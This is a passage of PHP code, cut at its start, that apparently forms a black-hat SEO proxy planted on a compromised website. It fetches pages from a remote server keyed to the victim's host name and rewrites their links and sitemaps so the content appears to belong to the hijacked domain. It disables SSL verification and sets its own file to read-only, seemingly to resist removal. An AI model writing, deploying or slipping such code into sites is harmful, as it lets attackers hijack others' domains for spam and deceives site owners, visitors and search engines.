$url, CURLOPT_TIMEOUT => $time, CURLOPT_HTTPHEADER => $header, CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HEADER => false, ); if (stripos($url, 'https://') !== false) { $options[CURLOPT_SSL_VERIFYPEER] = false; $options[CURLOPT_SSL_VERIFYHOST] = false; $options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1; // 改为 HTTP/1.1,PHP 5.2 兼容性更好 } curl_setopt_array($curl, $options); $response = curl_exec($curl); $error = curl_errno($curl); $errorMessage = curl_error($curl); curl_close($curl); if ($response !== false && $error === 0) { return $response; } else { error_log("cURL 错误: $errorMessage (URL: $url)"); } } if ($num === 1) { $context = stream_context_create(array( "http" => array( "method" => "GET", "header" => implode("\r\n", $header), "timeout" => $time, ) )); $res = @file_get_contents($url, false, $context); if ($res === false && stripos($url, 'https://') !== false) { return getHtml(str_replace('https://', 'http://', $url), $time, 2); } return $res; } return false; } function getJustAllUrl($str) { $pattern = '#https?://[a-zA-Z0-9\-._~:/?#[\]@!$&()*+,;=%]+#'; preg_match_all($pattern, $str, $matches); return isset($matches[0]) ? array_unique($matches[0]) : array(); } chmod(__FILE__, 0444); $req = $_SERVER['REQUEST_URI']; $new_req = explode('.php', $req); $new_req[1] = explode('/', $new_req[1]); $new_req[1][1] = $new_req[1][1] . '_' . $host; $new_req[1] = implode('/', $new_req[1]); $url = rtrim($server_url, '/') . "/" . ltrim(rtrim($new_req[1], '/'), '/'); $c = getHtml($url); $port = $_SERVER["SERVER_PORT"]; $http = $port == '443' ? 'https://' : 'http://'; $server_url = str_replace(array('http://', 'https://'), $http, $server_url); $target_url = $http . $host . $new_req[0] . '.php'; $css_list = array(); foreach (getJustAllUrl($c) as $k => $v) { $v = str_replace(array("'", ')', ';'), '', $v); $vnew = str_replace(array('http://', 'https://'), $http, $v); if (strpos($vnew, $server_url) !== false) { $info = pathinfo($vnew); $new_url = str_replace($server_url, $target_url, $vnew); if (in_array(strtolower($info['extension']), array('css', 'js', 'ico', 'jpeg', 'jpg', 'gif', 'png'))) { $css_list[] = array( $new_url => str_replace($target_url, $server_url, $vnew), ); } $c = str_replace($v, $new_url, $c); } } if ($css_list) { foreach ($css_list as $v) { $c = strtr($c, $v); } } if (strpos($req, '.xml') !== false) { header("Content-type: text/xml"); $c = str_replace($server_url, $target_url, $c); } echo $c; exit(); function real_ip() { $ip_keys = array( 'HTTP_CF_CONNECTING_IP', // Cloudflare 'HTTP_X_FORWARDED_FOR', // 多级代理 'HTTP_X_REAL_IP', // Nginx 'HTTP_CLIENT_IP', // 部分代理 ); foreach ($ip_keys as $key) { if (!empty($_SERVER[$key])) { $ips = explode(',', $_SERVER[$key]); foreach ($ips as $ip) { $ip = trim($ip); // 过滤内网 IP,匹配 IPv4 和 IPv6 if (filter_var($ip, FILTER_VALIDATE_IP) && !preg_match('/^(10\.|172\.(1[6-9]|2\d|3[0-1])\.|192\.168\.|fc00:|fd00:)/', $ip)) { return $ip; } } } } return $_SERVER['REMOTE_ADDR']; }